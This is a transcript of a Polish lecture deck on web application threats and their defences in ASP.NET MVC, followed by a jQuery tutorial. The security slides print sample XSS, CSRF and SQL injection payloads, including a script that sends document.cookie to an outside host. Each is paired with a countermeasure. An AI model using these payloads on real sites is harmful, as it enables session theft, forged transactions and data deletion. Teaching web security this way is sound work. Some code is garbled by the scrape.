Pobieranie prezentacji. Proszę czekać

Pobieranie prezentacji. Proszę czekać

Zagrożenia.

Podobne prezentacje


Prezentacja na temat: "Zagrożenia."— Zapis prezentacji:

1 Zagrożenia

2 Warstwy protokołów internetowych
IP Warstwa sieciowa UDP TCP Warstwa transportowa DNS FTP Warstwa aplikacji TELNET SMTP NNTP POP3 SSH SSH HTTP HTTPS

3 Protokół HTTP (HyperText Transfer Protocol)
Pakiet wysyłany przez serwer GET / HTTP/1.1 Host: host.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.6) Gecko/ Accept: text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive znak powrotu karetki i wysunięcia strony (CRLF)

4 Protokół HTTP (HyperText Transfer Protocol)
Odpowiedź serwera HTTP/ OK Date: Sun, 11 Jul :04:30 GMT Server: Apache/ (Unix) DAV/2 Set-Cookie: PSID=d6dd02e9957fb162d2385ca6f2829a73; path=/ Expires: Thu, 19 Nov :52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache (stara metoda) Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso znak powrotu karetki i wysunięcia strony (CRLF) tutaj zawartość dokumentu

5 Metody HTTP GET – pobranie zasobu HEAD – pobranie informacji o zasobie
POST – przesłanie danych na serwer PUT – umieszczenie zasobu na serwerze DELETE – usunięcie zasobu z serwera TRACE, CONNECT, OPTIONS

6 Kody odpowiedzi HTTP 200 OK Zawartość żądanego dokumentu (najczęściej zwracany nagłówek odpowiedzi w komunikacji WWW) 201 Created Utworzono - wysłany dokument został zapisany na serwerze 204 No content Brak zawartości - serwer zrealizował zapytanie klienta i nie potrzebuje zwracać żadnej treści 304 Not Modified Nie zmieniono - zawartość zasobu nie podległa zmianie według warunku przekazanego przez klienta (np. data ostatniej wersji zasobu pobranej przez klienta 400 Bad Request Nieprawidłowe zapytanie - żądanie nie może być obsłużone przez serwer z powodu błędnej składni zapytania 401 Unauthorized Nieautoryzowany dostęp - żądanie zasobu, który wymaga autentykacji 403 Forbidden Zabroniony - serwer zrozumiał zapytanie lecz konfiguracja bezpieczeństwa zabrania mu zwrócić żądany zasób 404 Not Found Nie znaleziono - serwer nie odnalazł zasobu według podanego URI ani niczego co by wskazywało na istnienie takiego zasobu w przeszłości

7 Kody odpowiedzi HTTP 500 Internal Server Error Wewnętrzny błąd serwera - serwer napotkał niespodziewane trudności, które uniemożliwiły zrealizowanie żądania 505 HTTP Version Not Supported Wersja HTTP nie obsługiwana - serwer nie obsługuje bądź odmawia obsługi wskazanej przez klienta wersji HTTP

8 Cross-Site Scripting (XSS)
Umożliwienie użytkownikowi wprowadzenia kodu skryptowego, który będzie bez zmian przesłany do przeglądarki innego użytkownika

9 <a href=”No blog! Sorry :<”>Bob</a>
foreach (m in Model) { <div> @m.Name <a /a> </div> } <a href=”No blog! Sorry :<”>Bob</a> “></a><script src=”http://trojan.polsl.pl”></script> <a href=”

10 Zabezpieczenie HTML Enkodowanie HTML całej zawartości @Model.Nazwisko
@Html.Encode(Model.Nazwisko) “></a><script src=”http://trojan.polsl.pl”></script> <a href=” "></a><script src="http://trojan.polsl.pl"></script> <a href=" <a href=”<%=Url.Action(“index”,”home”,new {name=ViewBag.nazwa})%>”>Naciśnij</a> <a href=”<%=Url.Action(“index”,”home”,new {name=Html.AttributeEncode(ViewBag.nazwa)})%>”>Naciśnij</a> <a href=”<%=Url.Encode(Url.Action(“index”,”home”, new {name=ViewBag.nazwa}))%>”>Naciśnij</a> AttributeEncode tylko znaki: " & < \ >Naciśnij >Naciśnij >Naciśnij AttributeEncode tylko znaki: & < \", "width": "800" }

11 Ochrona domyślna <pages validateRequest="true" />

12 Zabezpieczenia JS <h2 id=”info”></h2>
public ActionResult Index(string UserName) { ViewBag.UserName = UserName; return View(); } <h2 id=”info”></h2> != null) { <script type=“text/javascript“> $(function () { var message = $("#info“).html(message).hide().show(‘slow‘); }); </script> } Encoder.JavaScriptEncode } http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e. Encoder.JavaScriptEncode.", "width": "800" }

13 Cookies Serwer Set-Cookie: nazwa=wartość; expires=DATA;
path=ŚCIEŻKA; domain=DOMENA; secure; httpOnly Przeglądarka Cookie: ciasteczko_1=wartosc_1; ciasteczka_2=wartosc_2;...

14 Cookies

15 Sessja Serwer Przeglądarka Domena Strona1 Token Strona2 Strona3
Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony1 bez ciasteczka. Domena Strona1 Sprawdzenie obecności w żądaniu ciasteczka-tokena, wygenerowanie tokena, wysłanie strony1+tokena. Token Strona2 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony2 i tokenu. Strona3 Sprawdzenie obecności ciasteczka-tokena dla domeny, wysłanie żądania strony3 i tokenu.

16 Cross-Site Request Forgery
Wykonanie kodu z uprawnieniami innego internauty <img src=”/account/logout” /> <img src=”/przelewy/wykonaj?z= &do= ” /> Widok z obrazkiem Akcja wykonania przelewu „Pobranie” obrazka

17 Zabezpieczenie Takie jak w XSS. Weryfikacja tokena
Blokowanie wywołań GET <form action=”/account/register” method=”post”> </form> <input type=”hidden” value=”012837udny31w90hjhf7u”> [ValidateAntiforgeryToken] public ActionResult Register(…)

18 Kontrola źródła formularza
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute { public override void OnAuthorize(AuthorizationContext filterContext) if (filterContext.HttpContext != null) if (filterContext.HttpContext.Request.UrlReferrer.Host != “www.polsl.pl”) throw new System.Web.HttpException (“Ten formularz nie zostal wysłany z tej strony!”); }}} [IsPostedFromThisSite] public ActionResult Register(…)

19 Cookie Stealing Zabezpieczenie
window.location=”http:// :81/r.php?u=" +document.links[1].text +”&l=”+document.links[1] +”&c=”+document.cookie;” Zabezpieczenie Zapobieganie XSS Zakaz dostępu do Cookies z poziomu skryptu JS <httpCookies domain=”String” httpOnlyCookies=”true” requireSSL=”false” /> Response.Cookies[“MyCookie”].Value=”Tajne"; Response.Cookies[“MyCookie].HttpOnly=true;

20 Open Redirection /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f. [HttpPost] public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) if (Membership.ValidateUser(model.UserName, model.Password)) FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe); if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") && !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\")) return Redirect(returnUrl); } else return RedirectToAction("Index", "Home"); ModelState.AddModelError("", "The user name or password provided is incorrect."); // If we got this far, something failed, redisplay form return View(model);

21 SQL Injection public ActionResult DodajPracownika(string nazwisko) {
SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+nazwisko+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } Serwer.pl/Pracownik/DodajPracownika?nazwisko=Kowal”);DELETE FROM Pracownicy;

22 Zabezpieczenia public ActionResult DodajPracownika(string nazwisko) {
SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) VALUES("+Html.Encode(nazwisko)+”)”); połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); } public ActionResult DodajPracownika(string nazwisko) { SqlConnection połączenie=new SqlConnection("…”); SqlConnection polecenie=new SqlCommand("INSERT INTO Pracownicy (Nazwisko) polecenie.Parameters.Add("Nazwisko”,SqlTypes.VarChar,14).Value=nazwisko; połączenie.Open(); polecenie.ExecuteNonQuery(); połączenie.Close(); }

23 JQuery Biblioteka JS niezależna od przeglądarki Biblioteka open source
Maszyna selekcji elementów niezależna od przeglądarki Modyfikacja dokumentu DOM Możliwość wykorzystania selektrów CSS Biblioteka oparta o zdarzenia Umożliwia uzyskiwanie efektów i animacji Wspiera AJAX

24 Konfiguracja Pobranie biblioteki ze strony http://jquery.com/download
Dołączenie biblioteki do strony <script type="text/javascript" src="jquery.js"></script> ", "width": "800" }

25 Definiowanie zdarzeń <html> <head>
<script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(Zarejestruj); function Zarejestruj() { $("a").click(Przywitaj); } function Przywitaj() alert("Dzień dobry"); </script> </head> <body> <a href="">Przywitaj</a> </body> </html> Przywitaj ", "width": "800" }

26 Funkcja anonimowa <html> <head>
<script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function() { $("a").click(function() { alert("Dzień dobry!"); }); </script> </head> <body> <a href="">Przywitaj</a> </body> Funkcja anonimowa Przywitaj Funkcja anonimowa.", "width": "800" }

27 Selektory CSS <html> <head>
<script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){$("p.wazny").css("background-color","Yellow");}); </script> </head> <body> <p>Akapit 1</p> <p class="wazny">Akapit 2</p> <p class="wazny">Akapit 3</p> </body> </html>

Akapit 1

Akapit 2

Akapit 3

", "width": "800" }

28 Dodawanie elementów <html> <head>
<script type="text/javascript" src="jquery.js"></script> <script type="text/javascript"> $(document).ready(function(){ for (i=1;i<=10;i++) $("#lista").append("<li>"+i+"</li>"); }); </script> </head> <body> <ul id="lista"> </ul> </body> </html>

", "width": "800" }

29 Efekty $(document).ready() <!DOCTYPE html> <html>
<head> <script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").fadeOut(3000); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis">Przykładowy efekt</div> </body> </html> $(document).ready()

Przykładowy efekt
$(document).ready()", "width": "800" }

30 Animacja <!DOCTYPE html> <html> <head>
<script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html>

Przykładowy efekt
", "width": "800" }

31 Callback Callback <!DOCTYPE html> <html> <head>
<script src="jquery.js"></script> <script> $(function(){ $("#przycisk").click(function(){ $("#napis").animate({left:'+=100px'},"slow",function(){$("#napis").hide();}); }); </script> </head> <body> <input type="button" id="przycisk" value="Start" /> <div id="napis" style="position:absolute;left:200px">Przykładowy efekt</div> </body> </html> Callback

Przykładowy efekt
Callback.", "width": "800" }

32 AJAX Asynchronous JavaScript and XML

33 AJAX

34 JSON JSON, JavaScript Object Notation


Pobierz ppt "Zagrożenia."

Podobne prezentacje


Reklamy Google